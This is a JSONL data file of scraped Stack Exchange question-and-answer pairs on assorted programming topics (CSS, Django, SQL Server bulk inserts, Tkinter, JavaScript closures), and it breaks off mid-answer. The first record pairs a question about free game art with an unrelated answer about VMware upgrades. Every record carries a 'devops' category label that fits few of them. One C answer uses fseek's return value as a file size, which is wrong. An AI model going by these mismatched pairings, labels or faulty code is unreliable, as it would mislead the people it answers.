{"id": "hf_287dde31a45f", "question": "<p>I've been wondering, as a lone game developer, \nor to say a part of team which has only got programmers and people who like to play games...\nHow do I manage the void created by lack of artists (sprites/tiles/animations) in such a situation???</p>\n\n<p>What do you do in that case? and suppose I am a student, with no money to hire artists, is there a place where I can get these resources legally &amp; free ?</p>\n", "question_body": "", "answer": "The first thing you'll gain by switching will be a substantially more powerful platform that's running directly on the bare-metal of your server.\nFrom my experience, moving\nup\nthe VMware application stack has never been problematic (Server to Workstation to ESX). However, I would verify this by exporting all of your VMs from the workstation install to an ESX install to make sure you're not seeing any 'weird' issues related to running the high-end tool from VMware.\nFrom my [limited] experience, scripts also carry-over cleanly: each offering moving up their product line doesn't break lower-level tools, but do add substantial improvements.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:36.474538"}
{"id": "hf_3d71d42db339", "question": "<p>How can I make a style have all of the properties of the style defined in <code>.a .b .c</code> except for <code>background-color</code> (or some other property)? This does not seem to work.</p>\n\n<pre><code>.a .b .c\n{\n    background-color: #0000FF;\n    color: #ffffff;\n    border: 1px solid #c0c0c0;\n    margin-top: 4px;\n    padding: 3px;\n    text-align: center;\n    font-weight: bold;\n}\n\n.a .b .c .d\n{\n   background-color: green;\n}\n</code></pre>\n", "question_body": "", "answer": "```\n```\n.a, .b, .c {color: #ffffff; border: 1px solid #c0c0c0; margin-top: 4px; padding: 3px; text-align: center; font-weight: bold; }\n\n.a {background-color: red;}\n\n.b {background-color: blue;}\n\n.c {background-color: green;}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:36.499328"}
{"id": "hf_d6a1f510ce04", "question": "<p>Obviously I can use BCP but here is the issue. If one of the records in a Batch have an invalid date I want to redirect that to a separate table/file/whatever, but keep the batch processing running. I don't think SSIS can be installed on the server which would have helped.</p>\n", "question_body": "", "answer": "Create a trigger that processes on INSERT. This trigger will do a validation check on your date field. If it fails the validation, then do an insert into your separate table, and you can also choose to continue the insert or not allow it to go through.\nan\nimportant\nnote: by default triggers do not fire on bulk inserts (BCP & SSIS included). To get this to work, you'll need to specify that you want the trigger to fire, using something like:\n```\n```\nBULK INSERT your_database.your_schema.your_table FROM your_file WITH (FIRE_TRIGGERS )\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:36.563027"}
{"id": "hf_886b8de9775b", "question": "<p>I have an <code>NSArray</code> and I'd like to create a new <code>NSArray</code> with objects from the original array that meet certain criteria. The criteria is decided by a function that returns a <code>BOOL</code>.</p>\n\n<p>I can create an <code>NSMutableArray</code>, iterate through the source array and copy over the objects that the filter function accepts and then create an immutable version of it.</p>\n\n<p>Is there a better way?</p>\n", "question_body": "", "answer": "```\nNSArray\n```\nand\n```\nNSMutableArray\n```\nprovide methods to filter array contents.\n```\nNSArray\n```\nprovides\nfilteredArrayUsingPredicate:\nwhich returns a new array containing objects in the receiver that match the specified predicate.\n```\nNSMutableArray\n```\nadds\nfilterUsingPredicate:\nwhich evaluates the receiver’s content against the specified predicate and leaves only objects that match. These methods are illustrated in the following example.\n```\n```\nNSMutableArray *array =\n    [NSMutableArray arrayWithObjects:@\"Bill\", @\"Ben\", @\"Chris\", @\"Melissa\", nil];\n\nNSPredicate *bPredicate =\n    [NSPredicate predicateWithFormat:@\"SELF beginswith[c] 'b'\"];\nNSArray *beginWithB =\n    [array filteredArrayUsingPredicate:bPredicate];\n// beginWithB contains { @\"Bill\", @\"Ben\" }.\n\nNSPredicate *sPredicate =\n    [NSPredicate predicateWithFormat:@\"SELF contains[c] 's'\"];\n[array filteredArrayUsingPredicate:sPredicate];\n// array now contains { @\"Chris\", @\"Melissa\" }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:36.598950"}
{"id": "hf_8d53c0d85a86", "question": "<p>I want to do this:</p>\n\n<pre><code>e.className = t;\n</code></pre>\n\n<p>Where t is the name of a style I have defined in a stylesheet.</p>\n", "question_body": "", "answer": "Yes, that works (with the class name as a string, as jonah mentioned). Also, you can set style attributes directly on an object, using the\nDOM Level 2 Style\ninterface. e.g.,\n```\n```\nbutton.style.fontFamily = \"Verdana, Arial, sans-serif\";\n```\n```\nwhere\n```\nbutton\n```\nis (presumably) a button object. :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:36.662561"}
{"id": "hf_71540eb6ac84", "question": "<p>How can I change the width of a textarea form element if I used ModelForm to create it?</p>\n\n<p>Here is my product class:</p>\n\n<pre><code>class ProductForm(ModelForm):\n    long_desc = forms.CharField(widget=forms.Textarea)\n    short_desc = forms.CharField(widget=forms.Textarea)\n    class Meta:\n        model = Product\n</code></pre>\n\n<p>And the template code...</p>\n\n<pre><code>{% for f in form %}\n    {{ f.name }}:{{ f }}\n{% endfor %}\n</code></pre>\n\n<p><code>f</code> is the actual form element...</p>\n", "question_body": "", "answer": "The easiest way for your use case is to use CSS\n. It's a language meant for defining presentation. Look at the code generated by form, take note of the ids for fields that interest you, and change appearance of these fields through CSS.\nExample for\n```\nlong_desc\n```\nfield in your ProductForm (when your form does not have a custom prefix):\n```\n```\n#id_long_desc {\n    width: 300px;\n    height: 200px;\n}\n```\n```\nSecond approach\nis to pass the\n```\nattrs\n```\nkeyword to your widget constructor.\n```\n```\nclass ProductForm(ModelForm):\n    long_desc = forms.CharField(widget=forms.Textarea(attrs={'cols': 10, 'rows': 20}))\n    short_desc = forms.CharField(widget=forms.Textarea)\n    class Meta:\n        model = Product\n```\n```\nIt's\ndescribed in Django documentation\n.\nThird approach\nis to leave the nice declarative interface of newforms for a while and set your widget attributes in custom constructor.\n```\n```\nclass ProductForm(ModelForm):\n    long_desc = forms.CharField(widget=forms.Textarea)\n    short_desc = forms.CharField(widget=forms.Textarea)\n    class Meta:\n        model = Product\n\n    # Edit by bryan\n    def __init__(self, *args, **kwargs):\n        super(ProductForm, self).__init__(*args, **kwargs) # Call to ModelForm constructor\n        self.fields['long_desc'].widget.attrs['cols'] = 10\n        self.fields['long_desc'].widget.attrs['rows'] = 20\n```\n```\nThis approach has the following advantages:\nYou can define widget attributes for fields that are generated automatically from your model without redefining whole fields.\nIt doesn't depend on the prefix of your form.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:36.696608"}
{"id": "hf_2d0625d41dce", "question": "<p>I am looking to set the result action from a failed IAuthorizationFilter.  However I am unsure how to create an ActionResult from inside the Filter.  The controller doesn't seem to be accible from inside the filter so my usual View(\"SomeView\") isn't working.  Is there a way to get the controler or else another way of creating an actionresult as it doesn't appear to be instantiable?</p>\n\n<p>Doesn't work:</p>\n\n<pre><code>    [AttributeUsage(AttributeTargets.Method)]\n    public sealed class RequiresAuthenticationAttribute : ActionFilterAttribute, IAuthorizationFilter\n    {\n    public void OnAuthorization(AuthorizationContext context)\n    {\n        if (!context.HttpContext.User.Identity.IsAuthenticated)\n        {\n            context.Result = View(\"User/Login\");\n        }\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "You can instantiate the appropriate ActionResult directly, then set it on the context. For example:\n```\n```\npublic void OnAuthorization(AuthorizationContext context)\n{\n    if (!context.HttpContext.User.Identity.IsAuthenticated)\n    {\n        context.Result = new ViewResult { ViewName = \"Whatever\" };\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:36.721494"}
{"id": "hf_52f56e6a8bab", "question": "<p>I'm attempting to use TinyXML to read and save from memory, instead of only reading and saving files to disk.</p>\n\n<p>It seems that the documnent's parse function can load a char *. But then I need to save the document to a char * when I'm done with it. Does anyone know about this?</p>\n\n<p><strike>Edit: The printing &amp; streaming functions aren't what I'm looking for. They output in a viewable format, I need the actual xml content.</strike></p>\n\n<p>Edit: Printing is cool.</p>\n", "question_body": "", "answer": "Don't quite get what you are saying; your question is not clear.  I'm guessing you are wanting to load a file into memory so that you can pass it to the document parse function.  In that case, the following code should work.\n```\n```\n#include <stdio.h>\n```\n```\nThe following code reads a file into memory and stores it in a buffer\n```\n```\nFILE* fd = fopen(\"filename.xml\", \"rb\"); // Read-only mode\nint fsize = fseek(fd, 0, SEEK_END); // Get file size\nrewind(fd);\nchar* buffer = (char*)calloc(fsize + 1, sizeof(char));\nfread(buffer, fsize, 1, fd);\nfclose(fd);\n```\n```\nThe file is now in the variable \"buffer\" and can be passed to whatever function required you to provide a char* buffer of the file to it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:36.761591"}
{"id": "hf_1e5034de64d8", "question": "<p>Are there any Common Lisp implementations for .Net?</p>\n", "question_body": "", "answer": "If it's OK to go the other way around, you can access .Net from your favourite Lisp through\nEdi Weitz' RDNZL\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:36.809707"}
{"id": "hf_37f0c67a786c", "question": "<p>I'm currently running mongrel clusters with monit watching over them for 8 Rails applications on one server.</p>\n\n<p>I'd like to move 7 of these applications to mod_rails, with one remaining on mongrel. The 7 smaller applications are low-volume, while the one I'd like to remain on mongrel is a high volume, app.</p>\n\n<p>As I understand it, this would be the best solution - as the setting PassengerPoolIdleTime only can be applied at a global level.</p>\n\n<p>What configuration gotchas should I look out for with this type of setup?</p>\n", "question_body": "", "answer": "I would probably just move all the apps to mod_rails, as the performance seems comparable to Mongrel and there's less administration overhead.\nWith regards to configuration gotchas, just make sure that you allow your public directory, or you'll find static assets failing:\n```\n```\n<Directory \"/var/www/app/current/public\">\n    Options FollowSymLinks\n    AllowOverride None\n    Order allow,deny\n    Allow from all\n</Directory>\n```\n```\nAside from that, if you know how to configure Apache, mod_rails is very painless.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:36.904623"}
{"id": "hf_3a26f91adc60", "question": "<p>Joel always said to be careful when using 3rd party libraries. From my initial impressions, jQuery is great.  What should I beware of when using it?  What are the limitations?  What headaches will I run into later on as I use it more?</p>\n", "question_body": "", "answer": "One thing I've run into with jQuery is that you end up chaining a lot of items together, and it tends to quickly get unreadable if you are not careful.\nan example I can think of that illustrates this is on\nJohn David Anderson's blog\n:\nThere’s a guy who wrote a logging\n  function so you can figure out\n  whereYou(are).whenYoureCoding().inThe(middleOf).a(jQuery).trainWreck().\nI can see the power of chaining things\n  together, but my guess is you’ve\n  probably gone too far if you’re\n  needing to log things to the console\n  mid-swing. There’s probably little to\n  no chance you’re going to be able to\n  read it a week from now, too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:36.929460"}
{"id": "hf_5c5d3a07c4f0", "question": "<p>Are there any favorite online references or good introductory and intermediate/advanced books on this topic that you could recommend to me?\nI'm a java developer, so I'm looking for something which would be familiar as possible as to me.</p>\n", "question_body": "", "answer": "Essential ActionScript 3.0\n, by Colin Moock\nProgramming Flex 3: The Comprehensive Guide to Creating Rich Internet Applications with Adobe Flex\n, by Chafic Kazoun, Joey Lott\nAlso check the books section on Flex.org\nThere are some good video tutorials on lynda.com\nhttp://www.flex.org\nhttp://www.adobe.com/devnet/flex", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:36.978774"}
{"id": "hf_23f766c058c8", "question": "<p>I have a document library with about 50 available content types. This document library is divided into  several folders. When a user cliks the \"New\" button in a folder, all available content types are offered. I need to limit the content types according to the folder. For example, in the folder \"Legal\" a want to have only content types containing legal documents. I tried to use the UniqueContentTypeOrder property of SPFolder but it does not work. What is wrong?</p>\n\n<p>private void CreateFolder(SPFolder parent,  string name)\n        {\n            SPFolder z = parent.SubFolders.Add(name);\n            List col = new List();</p>\n\n<pre><code>        foreach (SPContentType type in myDocumentLibrary.ContentTypes)\n        {\n            if (ContentTypeMatchesName(name, type))\n            {\n                col.Add(type);\n            }\n        }\n        z.UniqueContentTypeOrder = col;\n        z.Update();\n    }\n</code></pre>\n", "question_body": "", "answer": "Have you looked at\nthis\narticle by Ton Stegeman?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:37.040564"}
{"id": "hf_21a0b98e0cf2", "question": "<p>Spring DA helps in writing DAOs. When using iBATIS as the persistence framework, and extending SqlMapClientDaoSupport, a SqlMapClient mock should be set for the DAO, but I can't do it. SqlMapClientTemplate is not an interface and EasyMock cannot creates a mock for it.</p>\n", "question_body": "", "answer": "DAO and unit tests do not get along well !\nThat does not make sense to mock anything in a component that does not hold any business logic and is focused on database access.\nYou should try instead to write an integration test. Take a look at the spring reference documentation, chapter 8.3 :\nhttp://static.springframework.org/spring/docs/2.5.x/reference/testing.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:37.074544"}
{"id": "hf_cd20bd394b9a", "question": "<p>Some years ago I was on a panel that was interviewing candidates for a relatively senior embedded C programmer position.</p>\n\n<p>One of the standard questions that I asked was about optimisation techniques. I was quite surprised that some of the candidates didn't have answers.</p>\n\n<p>So, in the interests of putting together a list for posterity - what techniques and constructs do you normally use when optimising C programs?</p>\n\n<p>Answers to optimisation for speed and size both accepted.</p>\n", "question_body": "", "answer": "Collecting profiles of code execution get you 50% of the way there. The other 50% deals with analyzing these reports.\nFurther, if you use GCC or VisualC++, you can use \"profile guided optimization\" where the compiler will take info from previous executions and reschedule instructions to make the CPU happier.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:37.119280"}
{"id": "hf_54d0af265148", "question": "<p>Excluding the Micro Framework Emulator ;)</p>\n", "question_body": "", "answer": "A well known one is\nTahoe\n. Others are\nhttp://www.sjjmicro.com/EDK.html\nhttp://www.ghielectronics.com/details.php?id=107&sid=108", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:37.155311"}
{"id": "hf_f452a47c0d46", "question": "<p>I've built a wrapper over NumbericUpDown control.\nThe wrapper is generic and can support int? and double?</p>\n\n<p>I would like to write a method that will do the following.</p>\n\n<pre><code>public partial class NullableNumericUpDown&lt;T&gt; : UserControl where T : struct\n{\n  private NumbericUpDown numericUpDown;\n\n\n  private T? Getvalue()\n  {\n    T? value = numericUpDown.Value as T?; // &lt;-- this is null :) thus my question\n    return value;\n  }}\n</code></pre>\n\n<p>of course there is no cast between decimal and double? or int? so I need to use a certain way of converting.\nI would like to avoid switch or if expressions.</p>\n\n<p>What would you do?</p>\n\n<p>To clarify my question I've provided more code...</p>\n", "question_body": "", "answer": "It's not clear how you gonna use it.\nIf you want double create GetDouble() method, for integers - GetInteger()\nEDIT:\nOk, now I think I understand your use case\nTry this:\n```\n```\nusing System;\nusing System.ComponentModel;\n\nstatic Nullable<T> ConvertFromString<T>(string value) where T:struct\n{\n    TypeConverter converter = TypeDescriptor.GetConverter(typeof(T));\n    if (converter != null && !string.IsNullOrEmpty(value))\n    {\n        try\n        {\n            return (T)converter.ConvertFrom(value);\n        }\n        catch (Exception e) // Unfortunately Converter throws general Exception\n        {\n            return null;\n        }\n    }\n\n    return null;\n}\n\n...\n\ndouble? @double = ConvertFromString<double>(\"1.23\");\nConsole.WriteLine(@double); // prints 1.23\n\nint? @int = ConvertFromString<int>(\"100\");\nConsole.WriteLine(@int); // prints 100\n\nlong? @long = ConvertFromString<int>(\"1.1\");\nConsole.WriteLine(@long.HasValue); // prints False\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:37.203315"}
{"id": "hf_2eeef7842dcb", "question": "<p>Say I have a blogging app in Django. How can i re-order the posts using a draggable table in the default admin?</p>\n\n<p>It would be best if i didn't have to add any extra fields to the model, but if i really have to i can.</p>\n", "question_body": "", "answer": "In model class you would probably have to add \"order\" field, to maintain specific order (eg. item with order = 10 is the last one and order = 1 is the first one). Then you can add a JS code in admin change_list template (see\nthis\n) to maintain drag&drop feature. Finally change ordering in Meta of model to something like ['order'].", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:37.238891"}
{"id": "hf_0a4b1ec22fb3", "question": "<p>In my app i need to save changed values (old and new) when model gets saved. Any examples or working code?</p>\n\n<p>I need this for premoderation of content. For example, if user changes something in model, then administrator can see all changes in separate table and then decide to apply them or not.</p>\n", "question_body": "", "answer": "If you're using your own transactions (not the default admin application), you can save the before and after versions of your object.  You can save the before version in the session, or you can put it in \"hidden\" fields in the form.  Hidden fields is a security nightmare.  Therefore, use the session to retain history of what's happening with this user.\nAdditionally, of course, you do have to fetch the previous object so you can make changes to it.  So you have several ways to monitor the differences.\n```\n```\ndef updateSomething( request, object_id ):\n    object= Model.objects.get( id=object_id )\n    if request.method == \"GET\":\n        request.session['before']= object\n        form= SomethingForm( instance=object )\n    else request.method == \"POST\"\n        form= SomethingForm( request.POST )\n        if form.is_valid():\n            # You have before in the session\n            # You have the old object\n            # You have after in the form.cleaned_data\n            # Log the changes\n            # Apply the changes to the object\n            object.save()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:37.275170"}
{"id": "hf_981be51561b7", "question": "<p>I am searching for a tutorial <code>(optimally with Zend Framework)</code> on how to use <code>PHPUnit</code>.</p>\n\n<p>I have found a couple on <code>google</code> but have not quiet understood it yet.</p>\n", "question_body": "", "answer": "For information about\nPHPUnit\n, be sure to read the\ndocumentation\n. It does not look too bad IMO. There is a blog entry about\nAutomatic testing of MVC applications created with Zend Framework\nwhich looks quite good, too. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:37.349546"}
{"id": "hf_c1896a7985f8", "question": "<p>I've got C# code that accesses MySQL through ODBC.</p>\n\n<p>It creates a transaction, does a few thousand insert commands, and then commits.\nNow my question is how many \"round trips\", so to speak, happen against the DB server? I mean, does it simply transmit every insert command to the DB server, or does it cache/buffer them and send them in batches? And is this configurable in any way?</p>\n", "question_body": "", "answer": "It's hard to say without seeing your code, but I'm assuming you are executing the statements one at a time. So, you will get one round trip per insert statement.\nIn MSSql you can execute multiple inserts in a single statement:\n```\n```\ncmd.ExecuteNonQuery \"insert table values (1)  insert table values (2)\"\n```\n```\nSo you can create a big string and execute it (I think it will have a limit), I assume this will work for MySQL.\nAlso in MSSQL you have a batch inserter (lookup \"SqlBulkCopy\"), in MySQL perhaps try\nloading the data from a temp file\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:37.419714"}
{"id": "hf_6a58ac00ee0c", "question": "<p>How do I end a Tkinter program? Let's say I have this code:</p>\n\n<pre><code>from Tkinter import *\n\ndef quit():\n    # code to exit\n\nroot = Tk()\nButton(root, text=\"Quit\", command=quit).pack()\nroot.mainloop()\n</code></pre>\n\n<p>How should I define the <code>quit</code> function to exit my application?</p>\n", "question_body": "", "answer": "```\n```\ndef quit()\n    root.quit()\n```\n```\nor\n```\n```\ndef quit()\n    root.destroy()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:37.454786"}
{"id": "hf_24b9b32b35ef", "question": "<p>I wish to know all the pros and cons about using these two methods. In particular the implications on web security.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "To choose between them I use this simple rule:\nGET for reads. (reading data and displaying it)\nPOST for anything that writes (i.e updating a database table, deleting an entry, etc.)\nThe other consideration is that GET is subjected to the maximum URI length and of course can't handle file uploads.\nThis page has a good summary\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:37.525329"}
{"id": "hf_7df70e7df281", "question": "<p>Has anybody any useful links that can be used to consume a web service using flex?\nThe easier the solution the better</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I found\nthis tutorial\npretty helpful - it gives clear examples of consuming a basic webservice, with code on both sides (server and flex).\nOne thing to remember when accessing remote webservices on a remote server from flex is the need for a\ncrossdomain.xml\n- the security model in flex needs to be explicitly told to be allowed access a service from a remote domain.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:37.571647"}
{"id": "hf_aca801226fae", "question": "<p>How can I get a full call stack for a c++ application developed with Visual Studio 2005? I would like to have a full call stack including the code in the system libraries.</p>\n\n<p>Do I have to change some settings in Visual Studio, or do I have to install additional software?</p>\n", "question_body": "", "answer": "Get debug information for all project dependencies. This is specified under the \"Configuration Properties -> C/C++ -> General\" section of the project properties.\nOn the menu, go to \"Tools -> Options\" then select \"Debugging -> Symbols\".\nAdd a new symbol location (the folder icon) that points to Microsoft's free symbol server “symsrv\nsymsrv.dll\nc:\\symbols*\nhttp://msdl.microsoft.com/downloads/symbols\n“\nFill out the \"cache symbols\" field with some place locally so you don't go to the internet all the time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:37.594887"}
{"id": "hf_db34b902d9a4", "question": "<p>We have a large ASP (classic ASP) application and we would like to convert it to .NET in order to work on further releases. It makes no sense continuing to use ASP as it is obsolete, and we don't want to rewrite it from scratch (Joel Spolsky tells you <a href=\"http://www.joelonsoftware.com/articles/fog0000000069.html\" rel=\"noreferrer\">why</a>).</p>\n\n<p>Is there a way to convert it from ASP to ASP.NET automatically?</p>\n", "question_body": "", "answer": "Microsoft has an article up on MSDN that talks about\nMigrating ASP Pages to ASP.NET\n. They basically tell you to install .net on your computer/server and the transform one page at a time. ASP and ASP.NET can co-exist so can can rename each page to \"aspx\" as you go. You should note, however, that session state and application state are not shared between ASP and ASP.NET pages (See\n@mdb's answer\nfor a workaround on that problem.)\nThere is also\nThe ASP to ASP.NET Migration Assistant\n, but I'm not sure that project/program is still active. You can try it by downloading from this page:\nhttp://www.asp.net/downloads/archived/migration-assistants/asp-to-aspnet/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:37.665785"}
{"id": "hf_1b97f092ac69", "question": "<p>How would you explain JavaScript closures to someone with a knowledge of the concepts they consist of (for example functions, variables and the like), but does not understand closures themselves?</p>\n\n<p>I have seen <a href=\"http://en.wikipedia.org/wiki/Scheme_%28programming_language%29\" rel=\"noreferrer\">the Scheme example</a> given on Wikipedia, but unfortunately it did not help.</p>\n", "question_body": "", "answer": "A closure is a pairing of:\nA function and\nA reference to that function's outer scope (lexical environment)\nA lexical environment is part of every execution context (stack frame) and is a map between identifiers (i.e. local variable names) and values.\nEvery function in JavaScript maintains a reference to its outer lexical environment. This reference is used to configure the execution context created when a function is invoked. This reference enables code inside the function to \"see\" variables declared outside the function, regardless of when and where the function is called.\nIf a function was called by a function, which in turn was called by another function, then a chain of references to outer lexical environments is created. This chain is called the scope chain.\nIn the following code,\n```\ninner\n```\nforms a closure with the lexical environment of the execution context created when\n```\nfoo\n```\nis invoked,\nclosing over\nvariable\n```\nsecret\n```\n:\n```\n```\nfunction foo() {\n  const secret = Math.trunc(Math.random() * 100)\n  return function inner() {\n    console.log(`The secret number is ${secret}.`)\n  }\n}\nconst f = foo() // `secret` is not directly accessible from outside `foo`\nf() // The only way to retrieve `secret`, is to invoke `f`\n```\n```\nIn other words: in JavaScript, functions carry a reference to a private \"box of state\", to which only they (and any other functions declared within the same lexical environment) have access. This box of the state is invisible to the caller of the function, delivering an excellent mechanism for data-hiding and encapsulation.\nAnd remember: functions in JavaScript can be passed around like variables (first-class functions), meaning these pairings of functionality and state can be passed around your program: similar to how you might pass an instance of a class around in C++.\nIf JavaScript did not have closures, then more states would have to be passed between functions\nexplicitly\n, making parameter lists longer and code noisier.\nSo, if you want a function to always have access to a private piece of state, you can use a closure.\n...and frequently we\ndo\nwant to associate the state with a function. For example, in Java or C++, when you add a private instance variable and a method to a class, you are associating the state with functionality.\nIn C and most other common languages, after a function returns, all the local variables are no longer accessible because the stack-frame is destroyed. In JavaScript, if you declare a function within another function, then the local variables of the outer function can remain accessible after returning from it. In this way, in the code above,\n```\nsecret\n```\nremains available to the function object\n```\ninner\n```\n,\nafter\nit has been returned from\n```\nfoo\n```\n.\nUses of Closures\nClosures are useful whenever you need a private state associated with a function. This is a very common scenario - and remember: JavaScript did not have a class syntax until 2015, and it still does not have a private field syntax. Closures meet this need.\nPrivate Instance Variables\nIn the following code, the function\n```\ntoString\n```\ncloses over the details of the car.\n```\n```\nfunction Car(manufacturer, model, year, color) {\n  return {\n    toString() {\n      return `${manufacturer} ${model} (${year}, ${color})`\n    }\n  }\n}\n\nconst car = new Car('Aston Martin', 'V8 Vantage', '2012', 'Quantum Silver')\nconsole.log(car.toString())\n```\n```\nFunctional Programming\nIn the following code, the function\n```\ninner\n```\ncloses over both\n```\nfn\n```\nand\n```\nargs\n```\n.\n```\n```\nfunction curry(fn) {\n  const args = []\n  return function inner(arg) {\n    if(args.length === fn.length) return fn(...args)\n    args.push(arg)\n    return inner\n  }\n}\n\nfunction add(a, b) {\n  return a + b\n}\n\nconst curriedAdd = curry(add)\nconsole.log(curriedAdd(2)(3)()) // 5\n```\n```\nEvent-Oriented Programming\nIn the following code, function\n```\nonClick\n```\ncloses over variable\n```\nBACKGROUND_COLOR\n```\n.\n```\n```\nconst $ = document.querySelector.bind(document)\nconst BACKGROUND_COLOR = 'rgba(200, 200, 242, 1)'\n\nfunction onClick() {\n  $('body').style.background = BACKGROUND_COLOR\n}\n\n$('button').addEventListener('click', onClick)\n```\n```\n```\n```\n<button>Set background color</button>\n```\n```\nModularization\nIn the following example, all the implementation details are hidden inside an immediately executed function expression. The functions\n```\ntick\n```\nand\n```\ntoString\n```\nclose over the private state and functions they need to complete their work. Closures have enabled us to modularize and encapsulate our code.\n```\n```\nlet namespace = 